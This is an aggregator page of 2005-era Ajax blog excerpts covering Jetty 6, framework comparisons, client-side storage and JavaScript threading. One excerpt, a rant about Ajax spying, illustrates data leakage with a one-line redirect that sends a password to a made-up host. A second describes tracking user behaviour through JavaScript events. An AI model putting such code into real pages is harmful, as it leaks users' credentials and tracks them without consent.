Today's Special offer for AjaxGoals.com Visitors!! Subscribe to Oracle Magazine for Free !!   
    

Ajax Blogs

[ 1 ]  [ 2 ]

Ajax: Spying on users (personal rant)   new!
by Eric Pascarello

This is a little rant that I have on a topic I see pop up place to place about using Ajax techniques to spy on you. All I can say to this is yes we can use the XMLhttpRequest object to pass back information without your control. I can monitor every single thing you can do on a website with JavaScript as long as it is in the same domain. The same domain part needs to be stressed since this means a website can not read my passwords on another site.

We can do it without the XMLHttpRequest object. All we need is an iframe, pop up window, or a form. We send information via a link, document.location.href="asdfoyweoryjrbkerbmwnervb.com?pasword=123" or by submitting a form: document.formName.submit();. more  »


Using AJAX to track user behavior  
by Hjalli

Here's a thought. With the rise of AJAX applications this is bound to happen, and may very well have been implemented somewhere, even though a quick search didn't reveal a lot. So here goes: By adding a few clever Javascript events to a web page, it is possible to track user behavior on web pages far more than with the typical methods.  more  »


Jetty 6.0 Continuations - AJAX Ready!  
by Greg Wilkins

The 6.0.0alpha3 release of Jetty is now available and provides a 2.4 servlet server in 400k jar, with only 140k of dependencies (2.6M more if you want JSP!!!). But as well as being small, fast, clean and sexy, Jetty 6 supports a new feature called Continuations that will allow scalable AJAX applications to be built, with threadless waiting for asynchronous events.  more  »


What's next for Rich Internet Applications?  
by Geert Bevin

Face it, the scope of web applications is expanding. Text-based information sites will still continue to use regular XHTML, but a lot of new application types are appearing now that Rich Internet Applications (RIA) are a reality.  more  »


Backbase compared with Microsoft Atlas   new!
by Backbase

Last month Microsoft introduced their AJAX toolkit: Atlas. Obviously interesting to have a look at it, and in this post I will compare it with the Backbase AJAX software. It is sometimes a bit difficult to make a good comparison, because Atlas doesn't do that much yet. Anyhow, I will look at the various aspects, such as the overall architecture and philosophy, but also more details specs (as far as available).  more  »


Mashups and Openness    new!
by Sam

We see a lot of openness in applications that handle personal information, things like blogs, or local events, or maps, etc. Our space touches that, but it's a little different - we want to help people create and publish documents that involve daily business and personal tasks. I want to bring meaningful openness (that is, more than just an RSS feed of your calendar, for example) to this kind of data. I think this is possible, and desireable.   more  »


State of the Ajax Frameworks   new!
by Michael Mahemoff

This blog contains list of the available frameworks as of today.   more  »


AMASS: Ajax MAssive Storage System    new!
by Brad Neuberg

The AJAX MAssive Storage System (AMASS) uses a hidden flash applet to allow JavaScript AJAX applications to store an arbitrary amount of sophisticated information on the client side. This information is permanent and persistent; if a user closes their browser or navigates away from the web site, the information is still present and can be retrieved later by the web page. Information stored by web pages is private and locked to a single domain, so other web sites can not access this information.   more  »


Concurrent Programming in JavaScript    new!
by A. Sundararajan

How do we write multithreaded scripts? JavaScript engine allows Java method calls. So, we can use that to create script wrappers for Java platform classes as shown below:


	// creates a java.lang.Runnable wrapping given script function.
	function runnable(func) {
		return new java.lang.Runnable() {
			run: function() { func(); }
		}
	}

	// add 'thread' function property to Function prototype.
	Function.prototype.thread = function() {
		var t = new java.lang.Thread(runnable(this));
		t.start();
		return t;
	}
    Check here for    more  »


Scaling Connections for AJAX with Jetty 6   new!
by Greg Wilkins

With most web applications today, the number of simultaneous users can greatly exceed the number of connections to the server. This is because connections can be closed during the frequent pauses in the conversation while the user reads the content or completes in a form. Thousands of users can be served with hundreds of connections.

But AJAX based web applications have very different traffic profiles to traditional webapps. While a user is filling out a form, AJAX requests to the server will be asking for for entry validation and completion support. While a user is reading content, AJAX requests may be issued to asynchronously obtain new or updated content. Thus an AJAX application needs a connection to the server almost continuously and it is no longer the case that the number of simultaneous users can greatly exceed the number of simultaneous TCP/IP connections.   more  »


Moblet Instruction Language v/s Ajax [09 Oct 2005] new!

The Moblets Blog talks about the Moblet Instruction Language (MIL), In which they are explaing that MIL is just similar to AJAX.

"Moblet Instruction Language (MIL) is a declarative language that enables a developer to author a cross-platform mobile applications (a.k.a. Moblets) using only XML, Script, and XPath. MIL is compiled into byte-code by a hosted gateway server and delivered to any device capable of running the Moblet Runtime Environment (MRE). Data requests from a device can be defined synchronously or asynchronously using the and tags declarations. These services are invoke in response to events trigged by the system and the results are then "data-bound" to UI elements using an XPath expression syntax."  more  »

Some of the advantages of MIL over traditional AJAX are
 » Zero Complexity
 » Single standard for invoking XML services
 » MILScript is the same on every device




[ 1 ]  [ 2 ]